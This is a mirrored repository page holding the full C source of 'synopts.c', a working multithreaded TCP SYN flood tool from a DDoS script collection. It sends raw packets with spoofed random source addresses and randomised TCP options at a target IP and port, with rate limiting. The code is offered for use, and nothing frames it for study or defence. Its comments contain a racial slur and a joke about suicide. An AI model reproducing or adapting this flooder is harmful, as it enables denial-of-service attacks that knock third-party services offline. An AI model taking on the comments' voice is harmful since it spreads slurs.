Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/synopts.c
4565 views
1
/*
2
ok ok ok ok ok ok ok ok ok ok ok ok ok okok ok ok ok o kok ok ok ok ok o kok ok ok ok
3
*/
4
5
#include <unistd.h>
6
#include <time.h>
7
#include <sys/types.h>
8
#include <sys/socket.h>
9
#include <sys/ioctl.h>
10
#include <string.h>
11
#include <stdlib.h>
12
#include <stdio.h>
13
#include <pthread.h>
14
#include <netinet/tcp.h>
15
#include <netinet/ip.h>
16
#include <netinet/in.h>
17
#include <netinet/if_ether.h>
18
#include <netdb.h>
19
#include <net/if.h>
20
#include <arpa/inet.h>
21
#define MAX_PACKET_SIZE 4096
22
#define PHI 0x9e3779b9
23
static unsigned long int Q[4096], c = 362436;
24
static unsigned int floodport;
25
volatile int limiter;
26
volatile unsigned int pps;
27
volatile unsigned int sleeptime = 100;
28
//only added structs for tcpopts without timestamp and shit to public script yeeeeeeeeeeee
29
struct tcpopts
30
{
31
uint8_t msskind;
32
uint8_t msslen;
33
uint16_t mssvalue;
34
uint8_t nop_nouse;
35
uint8_t wskind;
36
uint8_t wslen;
37
uint8_t wsshiftcount;
38
uint8_t nop_nouse2;
39
uint8_t nop_nouse3;
40
uint8_t sackkind;
41
uint8_t sacklen;
42
43
};
44
void init_rand(unsigned long int x)
45
{
46
int i;
47
Q[0] = x;
48
Q[1] = x + PHI;
49
Q[2] = x + PHI + PHI;
50
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
51
}
52
unsigned long int rand_cmwc(void)
53
{
54
unsigned long long int t, a = 18782LL;
55
static unsigned long int i = 4095;
56
unsigned long int x, r = 0xfffffffe;
57
i = (i + 1) & 4095;
58
t = a * Q[i] + c;
59
c = (t >> 32);
60
x = t + c;
61
if (x < c) {
62
x++;
63
c++;
64
}
65
return (Q[i] = r - x);
66
}
67
68
int randnum(int min_num, int max_num)
69
{
70
int result = 0, low_num = 0, hi_num = 0;
71
72
if (min_num < max_num)
73
{
74
low_num = min_num;
75
hi_num = max_num + 1;
76
} else {
77
low_num = max_num + 1;
78
hi_num = min_num;
79
}
80
81
82
result = (rand_cmwc() % (hi_num - low_num)) + low_num;
83
return result;
84
}
85
unsigned short csum (unsigned short *buf, int count)
86
{
87
register unsigned long sum = 0;
88
while( count > 1 ) { sum += *buf++; count -= 2; }
89
if(count > 0) { sum += *(unsigned char *)buf; }
90
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
91
return (unsigned short)(~sum);
92
}
93
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph, int pipisize) {
94
struct tcp_pseudo
95
{
96
unsigned long src_addr;
97
unsigned long dst_addr;
98
unsigned char zero;
99
unsigned char proto;
100
unsigned short length;
101
} pseudohead;
102
unsigned short total_len = iph->tot_len;
103
pseudohead.src_addr=iph->saddr;
104
pseudohead.dst_addr=iph->daddr;
105
pseudohead.zero=0;
106
pseudohead.proto=IPPROTO_TCP;
107
pseudohead.length=htons(sizeof(struct tcphdr) + pipisize);
108
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr) + pipisize;
109
unsigned short *tcp = malloc(totaltcp_len);
110
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
111
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr) + pipisize);
112
unsigned short output = csum(tcp,totaltcp_len);
113
free(tcp);
114
return output;
115
}
116
void setup_ip_header(struct iphdr *iph)
117
{
118
iph->ihl = 5;
119
iph->version = 4;
120
iph->tos = 0;
121
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr) + sizeof(struct tcpopts);
122
iph->id = htonl(54321);
123
iph->frag_off = htons(0x4000);
124
iph->ttl = MAXTTL;
125
iph->protocol = IPPROTO_TCP;
126
iph->check = 0;
127
iph->saddr = inet_addr("192.168.3.100");
128
}
129
void setup_tcp_header(struct tcphdr *tcph)
130
{
131
tcph->source = htons(5678);
132
tcph->check = 0;
133
tcph->syn = 1;
134
tcph->window = htons(64240);
135
tcph->doff = ((sizeof (struct tcphdr)) + sizeof(struct tcpopts))/4;
136
}
137
//shit arrays ignore
138
int ctos[3] = {0, 40, 72};
139
int windows[3] = {29200, 64240, 65535};
140
uint8_t shiftcount[5] = {0x00, 0x03, 0x06, 0x09, 0x08};
141
//making cool func so opts are randomised whilst only 2 being random and me too lazy to make betta kode
142
void rand_options(struct tcpopts *opts){
143
opts->nop_nouse = 0x01;
144
opts->nop_nouse2 = 0x01;
145
opts->nop_nouse3 = 0x01;
146
opts->msskind = 0x02;
147
opts->mssvalue = randnum(0, 65534);
148
opts->msslen = 0x04;
149
opts->wskind = 0x03;
150
opts->wslen = 0x03;
151
opts->wsshiftcount = shiftcount[randnum(0, 4)];
152
opts->sackkind = 0x04;
153
opts->sacklen = 0x02;
154
}
155
void *flood(void *par1)
156
{
157
srand(time(NULL));
158
char *td = (char *)par1;
159
char datagram[MAX_PACKET_SIZE];
160
struct iphdr *iph = (struct iphdr *)datagram;
161
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
162
struct tcpopts *opts = (void *)iph + sizeof(struct iphdr) + sizeof(struct tcphdr); //writiong these cool struct data to our packet yyeyeye
163
struct sockaddr_in sin;
164
sin.sin_family = AF_INET;
165
sin.sin_port = htons(floodport);
166
sin.sin_addr.s_addr = inet_addr(td);
167
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
168
if(s < 0){
169
fprintf(stderr, "Could not open raw socket.\n");
170
exit(-1);
171
}
172
memset(datagram, 0, MAX_PACKET_SIZE);
173
setup_ip_header(iph);
174
setup_tcp_header(tcph);
175
rand_options(opts);
176
tcph->dest = htons(floodport);
177
iph->daddr = sin.sin_addr.s_addr;
178
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
179
int tmp = 1;
180
const int *val = &tmp;
181
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
182
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
183
exit(-1);
184
}
185
init_rand(time(NULL));
186
register unsigned int i;
187
i = 0;
188
while(1){
189
rand_options(opts);//randomising these iopts hehehehhehe
190
tcph->check = 0;//setting our checksum to 0 first ye
191
tcph->seq = htonl(rand_cmwc() & 0xFFFFFFFFF);//nigger really think we want to do handshake and respond with synack but its actually ddos XDDDDDDDDDDDDDDDD
192
tcph->doff = ((sizeof (struct tcphdr)) + sizeof(struct tcpopts))/4; //secret hacvker shit okey ye
193
tcph->dest = htons(floodport);//flöödpört
194
iph->ttl = randnum(100,130);//time to live but i wanna die :(
195
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); // spoooofsssss
196
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);//id and social security number for packetsssssss
197
iph->check = csum ((unsigned short *) datagram, iph->tot_len);//more mathssssssss
198
tcph->source = htons(rand_cmwc() & 0xFFFF);//hacker shit
199
tcph->dest = htons(floodport);//htonsssssssssssss
200
tcph->check = tcpcsum(iph, tcph, sizeof(struct tcpopts)); //doing maths to calc check ye
201
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); // DDOSSSSSSSSS YEEEEEEEEEEEEEEEEE
202
iph->tos = ctos[randnum(0,2)];//we a really important service
203
tcph->window = htons(windows[randnum(0,2)]);//LINUX
204
pps++;
205
if(i >= limiter)
206
{
207
i = 0;
208
usleep(sleeptime);
209
}
210
i++;
211
}
212
}
213
int main(int argc, char *argv[ ])
214
{
215
if(argc < 6){
216
fprintf(stderr, "target gonna commit suicide like kurt cobain\n");
217
fprintf(stdout, "controls (keyboard version): %s <internet protocol address> <porty port> <number of slaves you want to assign> <packets per fucking second> <how long, duh?>\n", argv[0]);
218
exit(-1);
219
}
220
fprintf(stdout, "unnecessary text...\n");
221
int num_threads = atoi(argv[3]);
222
floodport = atoi(argv[2]);
223
int maxpps = atoi(argv[4]);
224
limiter = 0;
225
pps = 0;
226
pthread_t thread[num_threads];
227
int multiplier = 12;
228
int i;
229
for(i = 0;i<num_threads;i++){
230
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
231
}
232
fprintf(stdout, "started dotdotdot\n");
233
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
234
{
235
usleep((1000/multiplier)*1000);
236
if((pps*multiplier) > maxpps)
237
{
238
if(1 > limiter)
239
{
240
sleeptime+=100;
241
} else {
242
limiter--;
243
}
244
} else {
245
limiter++;
246
if(sleeptime > 25)
247
{
248
sleeptime-=25;
249
} else {
250
sleeptime = 0;
251
}
252
}
253
pps = 0;
254
}
255
return 0;
256
}
257